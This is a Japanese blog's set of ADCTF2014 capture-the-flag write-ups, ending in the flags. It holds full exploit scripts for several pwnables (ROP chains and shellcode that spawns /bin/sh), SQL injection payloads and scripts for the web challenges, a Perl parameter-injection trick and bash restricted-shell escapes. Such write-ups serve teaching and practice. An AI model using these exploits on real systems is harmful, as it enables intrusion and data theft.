ADCTF2014 [25] xmas


Merry Christmas! Here is a present for you: ADCTF_m3RRy_ChR157m42

Thank you for playing. -- akiym

 

クリスマス?365n日(n>0)先のイベントだよね?

知ってる知ってる

 

こうしてADCTF2014も遂に終わりを迎えてしまいました。

残念ながら、全部解き切ることはできませんでした。

reversing系が弱すぎて泣けてきます

 

我らがtuat_mccは215点で17位でした。

といっても俺一人だったけどね

これからも精進を重ねて参ります!

 

皆さんお疲れ様でした。

そして運営のdodododoの方々、ありがとうございました!!

 

 

FLAG: ADCTF_m3RRy_ChR157m42

ADCTF2014 [23] shellcodeme


解いた後の、まさかのstage2みたいなのってつらい

Can you execute shellcode? Really?

shellcodeme.c shellcodeme

nc pwnable.katsudon.org 33201

 

この問題は、同じコードから生成されたと思われる3つのバイナリをpwnします。

一つは32bit、もう一つは64bitのバイナリです。

 

長いので、先にコード載せておきます
exploit_shellcodeme.py

#!/usr/bin/env python
from struct import *
import sys
import socket

rhp     = ("pwnable.katsudon.org",33201)

nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(0.5)
nc.connect(rhp)
print 'Connect to %s:%d' % rhp

#==========Stage1==========#

def stage1(nc):
    print 'Stage1'

    addr_ret        = 0x080484fd
    addr_pop_0xc    = 0x08048312
    addr_mprotect   = 0x08048330
    addr_read       = 0x08048340
    addr_mem_exec   = 0x20000000

    stdin  = 0x0
    length = 0x400

    exploit =   pack("<I", addr_ret)
    exploit +=  "\x00"*0xc
    exploit +=  pack("<I", addr_mprotect)
    exploit +=  pack("<I", addr_pop_0xc)
    exploit +=  pack("<I", addr_mem_exec)
    exploit +=  pack("<I", length)
    exploit +=  pack("<I", 0x7)
    exploit +=  pack("<I", addr_read)
    exploit +=  pack("<I", addr_mem_exec)
    exploit +=  pack("<I", stdin)
    exploit +=  pack("<I", addr_mem_exec)
    exploit +=  pack("<I", length)

    payload =   "\x31\xc0"                  #xor    %eax,%eax
    payload +=  "\xb0\x0b"                  #mov    0x0b,%al
    payload +=  "\x68\x2f\x2f\x73\x68"      #push   0x68732f2f
    payload +=  "\x68\x2f\x62\x69\x6e"      #push   0x6e69622f
    payload +=  "\x89\xe3"                  #mov    %esp,%ebx
    payload +=  "\x31\xc9"                  #xor    %ecx,%ecx
    payload +=  "\x31\xd2"                  #xor    %edx,%edx
    payload +=  "\xcd\x80"                  #int    0x80

    print 'Send exploit...'
    nc.sendall(exploit)
    print 'Send payload...'
    nc.sendall(payload)

#==========Stage2==========#

def stage2(nc):
    print 'Stage2'

    addr_ret        = 0x0040062c
    addr_pop_rsi_1  = 0x00400691
    addr_pop_rdi    = 0x00400693
    addr_pop_1      = 0x00400692
    addr_mov_rdx    = 0x00400670    #mov r13,rdx    mov %r14,%rsi
                                    #mov %r15d,%edi callq *(%r12,%rbx,8)
    addr_pop_6      = 0x0040068a    #pop rbx,rbp,r12,r13,r14,r15
    addr_mprotect   = 0x004004c0
    addr_read       = 0x00400490
    addr_mem_exec   = 0x20000000
    addr_buf        = 0x00601100

    stdin  = 0x0
    length = 0x400

    exploit =   pack("<Q", addr_ret)
    exploit +=  "\x00"*0x8

    exploit +=  pack("<Q", addr_pop_rdi)
    exploit +=  pack("<Q", stdin)
    exploit +=  pack("<Q", addr_pop_rsi_1)
    exploit +=  pack("<Q", addr_buf)
    exploit +=  pack("<Q", 0xdeadbeef)
    exploit +=  pack("<Q", addr_read)

    exploit +=  pack("<Q", addr_pop_6)
    exploit +=  pack("<Q", 0x0)
    exploit +=  pack("<Q", 0x0)
    exploit +=  pack("<Q", addr_buf)
    exploit +=  pack("<Q", 0x7)
    exploit +=  pack("<Q", length)
    exploit +=  pack("<Q", addr_mem_exec)
    exploit +=  pack("<Q", addr_mov_rdx)

    exploit +=  pack("<Q", addr_mprotect)

    exploit +=  pack("<Q", addr_pop_6)
    exploit +=  pack("<Q", 0x0)
    exploit +=  pack("<Q", 0x0)
    exploit +=  pack("<Q", addr_buf)
    exploit +=  pack("<Q", length)
    exploit +=  pack("<Q", addr_mem_exec)
    exploit +=  pack("<Q", stdin)
    exploit +=  pack("<Q", addr_mov_rdx)

    exploit +=  pack("<Q", addr_read)

    exploit +=  pack("<Q", addr_mem_exec)

    payload =   "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"  #movabs '/bin/sh',%rbx
    payload +=  "\x53"                                      #push   %rbx
    payload +=  "\x48\x89\xe7"                              #mov    %rsp,%rdi
    payload +=  "\x48\x31\xf6"                              #xor    %rsi,%rsi
    payload +=  "\x48\x31\xd2"                              #xor    %rdx,%rdx
    payload +=  "\x48\x31\xc0"                              #xor    %rax,%rax
    payload +=  "\xb0\x3b"                                  #mov    0x3b,%al
    payload +=  "\x0f\x05"                                  #syscall

    nc.sendall('./shellcodeme2\x0a')
    nc.sendall(exploit)
    nc.sendall(pack("<Q", addr_pop_1))
    nc.sendall(payload)

stage1(nc)
stage2(nc)

続く

 

まずは32bitのStage1から

そもそもこのプログラムは、readする際に

read(0, &buf, SHELLCODE_LEN);

としていることから、確保した0x20000000ではなく、char*型のbufが格納された場所に書き込んでしまっている

そのため、

(*(void(*)()) buf)()

の際に、書き込んだ始めの4byteのアドレスに制御が飛ぶようになっている

しかしespのずれを考えるのが面倒だったため、即座にretをして通常のスタックオーバーフローの問題のように扱うこととした。

exploit = pack("<I", addr_ret)
exploit += "\x00"*0xc
exploit += pack("<I", addr_mprotect)
exploit += pack("<I", addr_pop_0xc)
exploit += pack("<I", addr_mem_exec)
exploit += pack("<I", length)
exploit += pack("<I", 0x7)
exploit += pack("<I", addr_read)
exploit += pack("<I", addr_mem_exec)
exploit += pack("<I", stdin)
exploit += pack("<I", addr_mem_exec)
exploit += pack("<I", length)

mprotectで0x20000000のパーミッションをrwxとし、そこにシェルコードを書きこむ

次にreadができるように、add 0xc,$espを忘れずに

readで0x20000000にシェルコードを書きこんだら、そこに制御を飛ばせばStage1は終了。

シェルコードの説明はいつも通りなので割愛

 

次に64bitのStage2である。

64bitでのsyscallでは、引数を順に$edi,$esi,$edx...の順に格納しておかなければならない。

$rdiと$rsiはROP gadgetを用いて容易に格納できるが、$edxはそう簡単にはいかないようである。

使えるのは

40068a: 5b pop %rbx
40068b: 5d pop %rbp
40068c: 41 5c pop %r12
40068e: 41 5d pop %r13
400690: 41 5e pop %r14
400692: 41 5f pop %r15
400694: c3 retq

でpopしてから、

400670: 4c 89 ea mov %r13,%rdx
400673: 4c 89 f6 mov %r14,%rsi
400676: 44 89 ff mov %r15d,%edi
400679: 41 ff 14 dc callq *(%r12,%rbx,8)

でmovしてやれば良いと考えられる。

ちなみに、同時に$rsiと$ediへの格納も行える。

 

exploit = pack("<Q", addr_ret)
exploit += "\x00"*0x8

exploit += pack("<Q", addr_pop_rdi)
exploit += pack("<Q", stdin)
exploit += pack("<Q", addr_pop_rsi_1)
exploit += pack("<Q", addr_buf)
exploit += pack("<Q", 0xdeadbeef)
exploit += pack("<Q", addr_read)

まずは先程と同じように最初にretします。

$rdiにstdinの0、$rsiに適当な書き込み可能なバッファアドレスを指定してread

nc.sendall(pack("<Q", addr_pop_1))

ここで、1回popするROPgadgetのアドレスを格納させます。これは後ほど重要になってきます。

 

次に$rbx,$rbp,$r12,$r13,$r14,$r15の順で値を格納し、それを目的のレジスタにmovします。

exploit += pack("<Q", addr_pop_6)
exploit += pack("<Q", 0x0)
exploit += pack("<Q", 0x0)
exploit += pack("<Q", addr_buf)
exploit += pack("<Q", 0x7)
exploit += pack("<Q", length)
exploit += pack("<Q", addr_mem_exec)
exploit += pack("<Q", addr_mov_rdx)

exploit += pack("<Q", addr_mprotect)

しかし、この後はretではなくcallq *(%r12,%rbx,8)です。

なので、$r12は先程のバッファアドレス、$rbxは0にすることで、call addr_pop_1+0*8となります。

これの命令は実質ret命令と同じです。

そして、$rdi=0x20000000,$rsi=length,$rdx=0x7の状態でmprotectが呼ばれ、読み込み書き込み実行が可能となります。

 

あとは先程同様に値を格納して、今度はreadでシェルコードを読み込みます。

exploit += pack("<Q", addr_pop_6)
exploit += pack("<Q", 0x0)
exploit += pack("<Q", 0x0)
exploit += pack("<Q", addr_buf)
exploit += pack("<Q", length)
exploit += pack("<Q", addr_mem_exec)
exploit += pack("<Q", stdin)
exploit += pack("<Q", addr_mov_rdx)

exploit += pack("<Q", addr_read)
exploit += pack("<Q", addr_mem_exec)

最後にそのシェルコードに制御を飛ばして完了です。

面倒なので、シェルコードの説明は同じく割愛。

shell

あー長かったwww

 

FLAG: ADCTF_I_l0v3_tH15_4W350M3_m15T4K3

ADCTF2014 [21] otp


これ、ずいぶん簡単だったと思うんだけど、なんでこんなに点数高いのか

Try your sqli skills.

otp.adctf2014.katsudon.org

source

 

まあこれもSQLinjectionですね

twitterを見てると、最初は問題に本気で脆弱性があったらしく、Sqliteとかにすれば行けたとかいう話が

でもまぁ、私が開いたときにはすでにサーバーが停止してて、修正された後だったので関係ないですw

 

今回の問題では、sqliteが禁句となっている。即ちsqlite_masterから読みださせることは考えていないってことですよね?

それならば方針はwith文かな

select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')

こんな感じでカラム名が分かっていなくても、カラム数さえ合っていれば適当に名づけてselectできます。

 

sqli_otp.py


import urllib,urllib2

URI = 'http://otp.adctf2014.katsudon.org/'

def communicate(values):
  if(values is not None):
    data = urllib.urlencode(values)
    req = urllib2.Request(URI,data)
  else:
    req = urllib2.Request(URI)
    res = urllib2.urlopen(req)
  return res.read().split('\n')

if __name__ == '__main__':
  token = communicate(None)[22].split('"')[5]
  print 'token : %s' % token

  query = "' union all select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')--" % token
  values = {'token' : query}
  passwd = communicate(values)[21].split(' ')[3][:-4]
  print 'pass : %s' % passwd

  values = {'token' : token, 'pass' : passwd}
  for s in communicate(values)[21][3:-4].split('<br />'):
    print s

  raw_input('Press any key to exit...')

トークンが分かっているのでそのパスワードを引き出し、最初から10秒以内にトークンとパスワードを投げればフラグがもらえます。
otp

FLAG: ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5

ADCTF2014 [20] easypwn


easy?どこがだよwww

Pwn me! The flag is in /home/easypwn/flag. ASLR enabled, no libs.

easypwn

nc pwnable.katsudon.org 28099

 

pwn系で一番悩みましたw

だって使える要素があまりにも少ないんだもの

まあ今回もASLRは気にしない方針でいきましょ

 

今回はsyscallなんていう関数があるため、eaxに適切な値を格納して引数をスタックに積めばおk!

08048080 <syscall>:
8048080: 8b 54 24 0c mov 0xc(%esp),%edx
8048084: 8b 4c 24 08 mov 0x8(%esp),%ecx
8048088: 8b 5c 24 04 mov 0x4(%esp),%ebx
804808c: cd 80 int $0x80
804808e: c3 ret

今回書いたexploitはこちら

 


#!/usr/bin/env python
from struct import *
import sys
import socket

rhp = ("pwnable.katsudon.org",28099)
sh = "/bin/sh"

addr_syscall = 0x08048080
addr_read = 0x080480a9
addr_exit = 0x080480df

elf_head = 0x08048000

sys_execve = 0x0b
sys_mprotect = 0x7d
length = 0x1000
null = 0x0

#==========

nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(0.5)
nc.connect(rhp)

exploit_st1 = "\x00"*0x10
exploit_st1 += pack("<I", addr_syscall)
exploit_st1 += pack("<I", addr_read-0x2)
exploit_st1 += pack("<I", elf_head)
exploit_st1 += pack("<I", length)
exploit_st1 += pack("<I", 0x7)
exploit_st1 += "\x00"*(sys_mprotect-len(exploit_st1))

exploit_st2 = "\x00"*0x10
exploit_st2 += pack("<I", addr_syscall) #$ecx=elf_head
exploit_st2 += pack("<I", addr_read)
exploit_st2 += pack("<I", null)
exploit_st2 += pack("<I", elf_head)
exploit_st2 += pack("<I", null)
exploit_st2 += pack("<I", null)
exploit_st2 += pack("<I", addr_syscall)
exploit_st2 += pack("<I", addr_exit)
exploit_st2 += pack("<I", elf_head)
exploit_st2 += pack("<I", null)
exploit_st2 += pack("<I", null)

nc.sendall(exploit_st1)
nc.sendall(exploit_st2)
nc.sendall(sh+"\x00"*(sys_execve-len(sh)))

続く

 

当初の予定ではexploit_st1は要らなかったんですよ

'/bin/sh'をスタック以外の固定された適当なアドレスに配置できれば、そこを参照して終了ですのでね。

そうは問屋が卸さない

 

方針変更:mmapを使おう

old_mmapしか文献が見当たらない。

構造体が配置できるなら最初っから解決してる

mmap2の存在は知ってても使い方が分からない ⇒ $eax=0xc0だと後に知る

 

方針変更:mprotectを使おう

$eax=0x7d

$ebx=address

$ecx=length

$edx=permission

これならいける

 

まずはmprotectするためにexploit_st1を送ります

exploit_st1 = "\x00"*0x10
exploit_st1 += pack("<I", addr_syscall) ※
exploit_st1 += pack("<I", addr_read-0x2)
exploit_st1 += pack("<I", elf_head)
exploit_st1 += pack("<I", length)
exploit_st1 += pack("<I", 0x7)
exploit_st1 += "\x00"*(sys_mprotect-len(exploit_st1))

pwn_me関数のリターン先は、※のsyscall関数になります

次のリターン先にはaddr_read-0x2(read前にmov    %esp,%ecx を追加)を指定しておきます。

このexploit_st1の長さが、mprotectのシステムコール番号である0x7dになるように調整します。

そうすることでread後に$eaxに読み込んだ長さの0x7dが格納され、mprotectが使えます。

mprotectに与えるアドレスはページ境界でなければならないので、elfのヘッダが読み込まれてる先頭のアドレスを指定します。

これでいけたかな

08048000-08049000 rwxp 00000000 08:01 947049

なんか面白い

 

はい、では次です

exploit_st2 = "\x00"*0x10
exploit_st2 += pack("<I", addr_syscall) #$ecx=elf_head
exploit_st2 += pack("<I", addr_read)
exploit_st2 += pack("<I", null)
exploit_st2 += pack("<I", elf_head)
exploit_st2 += pack("<I", null)
exploit_st2 += pack("<I", null)
exploit_st2 += pack("<I", addr_syscall)
exploit_st2 += pack("<I", addr_exit)
exploit_st2 += pack("<I", elf_head)
exploit_st2 += pack("<I", null)
exploit_st2 += pack("<I", null)

最初のsyscallは$ecxにelf_headを格納するためだけに使っています。

なんだかもっとスマートにできる気がががg

 

そののちreadで"/bin/sh"+"\x00"*(sys_execve-len(sh))をelfのヘッダ部に読み込んで、$eaxにはexecveの0x0bが格納されます。

2回目のsyscallでexecveが呼ばれてbashが起動します。

リターン先を_startのexitに飛ばして終了です。
exploit_easypwn.py

easypwn

 

FLAG: ADCTF_175_345y_7o_cON7ROL_5Y5c4LL

ADCTF2014 [17] oh my scanf


遂に来ましたPwnable!

This is my first program.

oh_my_scanf.c oh_my_scanf

nc pwnable.katsudon.org 32100

 

今回は典型的なスタックオーバーフローの問題ですね。

ASLRが有効らしいけど、俺はそんなの気にしない(的なこと言えたらかっこいいw)

まずプロセスマップを除いてみると、

0804a000-0804b000 rwxp 00001000 08:01 945933

うん、確実にここにシェルコード書き込めって言ってるよね、これ

 

そんなわけで、Exploit


from struct import *
import sys
import socket

rhp = ("pwnable.katsudon.org",32100)
sh = "/bin/sh\x00"

offset_name = 0x00020060
offset_retn = 0x0002007c

addr_format = 0x080485c7
addr_scanf = 0x08048506
addr_buffer = 0x0804a100

#==========
nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(1.0)
nc.connect(rhp)

exploit = "\x00"*(offset_retn-offset_name-4)
exploit += pack("<I", addr_buffer) #$ebp=addr_buffer
exploit += pack("<I", addr_scanf)
exploit += pack("<I", addr_format)
exploit += pack("<I", addr_buffer)

nc.sendall(exploit+"\x0a")
nc.recv(1024)

payload = pack("<I", 0xdeadbeef)
payload += pack("<I", addr_buffer+0x10) #exec_addr
payload += sh
payload += "\x00"*(0x10-len(payload))
payload += "\x31\xc0" #xor %eax,%eax
payload += "\x04\x0f" #add 0x0f,%al
payload += "\x34\x04" #xor 0x04,%eal
payload += "\x89\xe3" #mov %esp,%ebx
payload += "\x31\xc9" #xor %ecx,%ecx
payload += "\x31\xd2" #xor %edx,%edx
payload += "\xcd\x80" #int 0x80

nc.sendall(payload+"\x0a")
nc.recv(1024)

続く

 

説明しますね

exploit = "\x00"*(offset_retn-offset_name-4)
exploit += pack("<I", addr_buffer) #$ebp=addr_buffer
exploit += pack("<I", addr_scanf) ※
exploit += pack("<I", addr_format)
exploit += pack("<I", addr_buffer)

※のついているところがmain関数のret命令時にリターンする先です。

その前のアドレスは、leave命令でebpに格納する値です。

 

scanfで次のpayloadを読み込んで、実行可能な0x0804a100以降にシェルコードを書きこみます。

payload = pack("<I", 0xdeadbeef)
payload += pack("<I", addr_buffer+0x10) #exec_addr
payload += sh
payload += "\x00"*(0x10-len(payload))
payload += "\x31\xc0" #xor %eax,%eax
payload += "\x04\x0f" #add 0x0f,%al
payload += "\x34\x04" #xor 0x04,%eal
payload += "\x89\xe3" #mov %esp,%ebx
payload += "\x31\xc9" #xor %ecx,%ecx
payload += "\x31\xd2" #xor %edx,%edx
payload += "\xcd\x80" #int 0x80

先頭の0xdeadbeefは、次のleave命令で格納する適当な値です

その先に、シェルコードが落ちているアドレスを格納しておきます。

その直後に’/bin/sh’の文字列がありますが、これにはちゃんと意味があります。

ret命令でシェルコードに制御が飛び、espは4だけ加算されて'/bin/sh'の先頭を指します。

そこでmov %esp,%ebxにより、ちょうどexecveの際のアドレスが指定できるという寸法です

 

exploit_oh_my_scanf.py

あとのシェル表示はお遊びです。

本当にASLR関係なかったww

 

FLAG: ADCTF_Sc4NF_IS_PRe77Y_niCE

ADCTF2014 [16] blind shell


Restriction: You can't use any commands. (actually /bin/bash only)

Do not brute force. You don't need to.

blind_shell

nc pwnable.katsudon.org 44010

 

今日のは多分シェル芸だろうな

まずはgdbで解析

(gdb) x/128gx 0x400a88
0x400a88: 0x00000000004009c0 0x0000000000400990
0x400a98: 0x0000000000400990 0x00000000004009c9
0x400aa8: 0x00000000004009c9 0x0000000000400990
0x400ab8: 0x00000000004009c9 0x0000000000400990
0x400ac8: 0x0000000000400990 0x0000000000400990
0x400ad8: 0x00000000004009c9 0x0000000000400990
0x400ae8: 0x0000000000400990 0x0000000000400990
0x400af8: 0x0000000000400990 0x0000000000400990
0x400b08: 0x00000000004009c9 0x00000000004009c9
0x400b18: 0x00000000004009c9 0x00000000004009c9
0x400b28: 0x00000000004009c9 0x00000000004009c9
0x400b38: 0x00000000004009c9 0x00000000004009c9
0x400b48: 0x00000000004009c9 0x00000000004009c9
0x400b58: 0x00000000004009c9 0x00000000004009c9
0x400b68: 0x00000000004009c9 0x00000000004009c9
0x400b78: 0x00000000004009c9 0x0000000000400990
0x400b88: 0x00000000004009c9 0x00000000004009c9
0x400b98: 0x00000000004009c9 0x00000000004009c9
0x400ba8: 0x00000000004009c9 0x00000000004009c9
0x400bb8: 0x00000000004009c9 0x00000000004009c9
0x400bc8: 0x00000000004009c9 0x00000000004009c9
0x400bd8: 0x00000000004009c9 0x00000000004009c9
0x400be8: 0x00000000004009c9 0x00000000004009c9
0x400bf8: 0x00000000004009c9 0x00000000004009c9
0x400c08: 0x00000000004009c9 0x00000000004009c9
0x400c18: 0x00000000004009c9 0x00000000004009c9
0x400c28: 0x00000000004009c9 0x00000000004009c9
0x400c38: 0x00000000004009c9 0x00000000004009c9
0x400c48: 0x00000000004009c9 0x00000000004009c9
0x400c58: 0x00000000004009c9 0x0000000000400990
0x400c68: 0x0000000000400990 0x0000000000400990
0x400c78: 0x0000000000400990 0x00000000004009c9
0x400c88: 0x0000000000400990 0x00000000004009c9
0x400c98: 0x00000000004009c9 0x00000000004009c9
0x400ca8: 0x00000000004009c9 0x00000000004009c9
0x400cb8: 0x00000000004009c9 0x00000000004009c9
0x400cc8: 0x00000000004009c9 0x00000000004009c9
0x400cd8: 0x00000000004009c9 0x00000000004009c9
0x400ce8: 0x00000000004009c9 0x00000000004009c9
0x400cf8: 0x00000000004009c9 0x00000000004009c9
0x400d08: 0x00000000004009c9 0x00000000004009c9
0x400d18: 0x00000000004009c9 0x00000000004009c9
0x400d28: 0x00000000004009c9 0x00000000004009c9
0x400d38: 0x00000000004009c9 0x00000000004009c9
0x400d48: 0x00000000004009c9 0x00000000004009c9
0x400d58: 0x00000000004009c9 0x00000000004009c9
0x400d68: 0x00000000004009c9 0x00000000004009c9
0x400d78: 0x0000000000400990

ASCII文字の使用の不可の判断にjmp先のアドレスを指定して使われてるようですね

0x004009c9にjmpならセーフ、0x004009c0は回数限定、0x00400990は即終了

 

従って、英数字は全て大丈夫として、記号が以下の通りに分類されます。

使用可:#$&*:;<=>@_{|}

一回のみ使用可:SP

使用不可:!"%'()+,-./?[$$^_`DEL

 

さて、これらで何をしようかな

bashの組み込みコマンドは使えるようなので、それらを駆使しようと思います。

blind_shell

まずはこれらを投げます

exec<&4>&4;read cmd;${cmd}

/bin/bash

プログラムのソケットのfdは4でしたので入出力を繋げて、環境変数cmdにreadで『/bin/bash』を読み込ませます。

for path in ./*; do echo ${path}; done

ディレクトリ内のファイル一覧を表示させ

cd flag_is_in_dir

ディレクトリを移動後、再びファイル一覧表示

while read line; do echo ${line}; done < this_is_flag

フラグを取得

 

FLAG: ADCTF_y0u_C4N_533_y0U_c4N_br34tH

ADCTF2014 [14] secret table


またしてもSQLinjectionだ

楽しみだw

Yes, you can do sqli. Find our secret table and get the flag. Sorry, I'm missing source code.

secrettable.adctf2014.katsudon.org

 

またしてもUser-Agentでインジェクションをするらしいな

しかし、今度は表示に変化がない・・・とおもいきや、文法エラーを起こすとServer error

うん、これError Based Blind SQL injectionだな

 

ここまでわかったものの、どうやってエラーを引き起こそう

どうやらCASE文が使えるらしいぞ

'+(case when (select substr('hoge',1,1)) > 'a' then 1 end)+'

成立すれば200が返ってくるし、ダメなら500だ

 

そんな感じでやってると、今度はこれはSQLiteということが判明

コードを書きなおしてこれでいこう

sqli_secret_table.py

 

そんで、これが得られました

secret_table1

CREATE TABLE super_secret_flag__Ds7KLcV9 yo_yo_you_are_enjoying_blind_sqli TEXT

 

よし、もっかい

secret_table2

やったね

 

FLAG: ADCTF_ERR0r_hELP5_8L1nd_5Ql1

ADCTF2014 [13] loginpage


ログインページだー

You can't guess LOGINPAGE_SECRET absolutely, it's not answer. So, maybe there are some vulnerability and you got an admin and flag.

I wrote this web app on Oct. 28 2014. Perl is awesome language and I love it :)

loginpage.adctf2014.katsudon.org

source

 

あれ、この問題どっかで見たことあるよ

あ、ちょっと違うけどこれだ

脆弱なアプリを書く技術

 

へぇー

同名パラメタでparamメソッドに渡すと配列を受け取れるのね

しかも、ハッシュ生成時に配列を含むと、インジェクションできるとか

 

脆弱性はloginpage.plの75行目から80行目にあり!

$self->session->{user} = {
  name => $self->param('name'),
  pass => $self->param('pass'),
  give_me_flag => 0,
  admin => $is_admin,
};

 

じゃあPOSTでこうしましょ
name=ShiftCrops&pass=abcd&pass=admin&pass=1&pass=give_me_flag

$self->session->{user} = {
  'name' =>'ShiftCrops',
  'pass' => 'abcd',
  'admin' => 1,
  'give_me_flag' => 'give_me_flag',
  '0' => 'admin',
  $is_admin => ,
};

最後の方は壊れてますけど、目的の達成はできました。
loginpage

FLAG:ADCTF_L0v3ry_p3rl_c0N73x7

ADCTF2014 [11] blacklist


SQL injectionキター

We have stupid blacklist. The flag is in flag table.

blacklist.adctf2014.katsudon.org

source

 

さてさて、どこに脆弱性があるのかなー?

blacklist.plを読むと、20行目で接続元のUser-AgentとIPをそのままInsertしていますね。

IPは変えられなくても、User-Agentは任意の文字列に変えられるので、これで攻撃しようと思います。

 

しかし、ここで一つ問題が

仮に『','hoge')#』なんていう文字列を送ったとしても、'hoge'はipに格納されてしまうためこれじゃあ見られないなぁ

あ、valuesに対して二つの (ry そうだった『),(』使えないんだ

う~ん、、、

 

あれ、数値ってもしかして

『'+conv(hex((select 'hoge')),16,10)+'』と送ると、『1752131429』という値が返ってきました。

『hoge』⇒『68 6F 67 65』⇒『1752131429』

これでイケるぜ!!

ただ、数値の上限があるから5文字ずつ取り出しますかね

 

INFORMATION_SCHEMA.TABLESからテーブル名`flag`

INFORMATION_SCHEMA.COLUMNSからカラム名`flag is here!!!`が分かります

あとはselect `flag is here!!!` from flagするだけー

sqli_blacklist.py

blacklist

 

FLAG: ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT

ADCTF2014 [10] xor


xor+shiftの暗号かぁー

712249146f241d31651a504a1a7372384d173f7f790c2b115f47

Source Code:

#include <stdio.h>
#include <string.h>

int main() {
  char flag[] = "ADCTF_XXXXXXXXXXXXXXXXXXXX";
  int len = strlen(flag);
  for (int i = 0; i &lt; len; i++) {
    if (i &gt; 0) flag[i] ^= flag[i-1];
    flag[i] ^= flag[i] &gt;&gt; 4;
    flag[i] ^= flag[i] &gt;&gt; 3;
    flag[i] ^= flag[i] &gt;&gt; 2;
    flag[i] ^= flag[i] &gt;&gt; 1;
    printf("%02x", (unsigned char)flag[i]);
  }
  return 0;
}

 

 

昔、某k○nctfの暗号問題を解くときに書いたプログラムをそのまま流用するか


#include <stdio.h>
#include <string.h>

unsigned long decXORShift_R(unsigned long,int);

int main(void){
  int i;
  char flag[] = {0x71,0x22,0x49,0x14,0x6f,0x24,0x1d,0x31,0x65,0x1a,0x50,0x4a,0x1a,0x73,0x72,0x38,0x4d,0x17,0x3f,0x7f,0x79,0x0c,0x2b,0x11,0x5f,0x47,0x00};
  int len = strlen(flag);

  for(i=len-1; i>=0; i--){
    flag[i]=decXORShift_R(flag[i],1);
    flag[i]=decXORShift_R(flag[i],2);
    flag[i]=decXORShift_R(flag[i],3);
    flag[i]=decXORShift_R(flag[i],4);
    if(i>0)
      flag[i] ^= flag[i-1];
}
  printf("%s",flag);

  return 0;
}

unsigned long decXORShift_R(unsigned long x,int t){
  unsigned long y=x, z=0;
  for(unsigned long mask=((1U<<t)-1)<<(sizeof(long)*8-t);mask;mask>>=t){
    z |= (y&mask)>>t;
    y = z^x;
  }
  return y;
}

元のプログラムはand演算を加味したものも解けるようにしてあったのだけど、今回は必要ないから取り除きました

 

FLAG: ADCTF_51mpl3_X0R_R3v3r51n6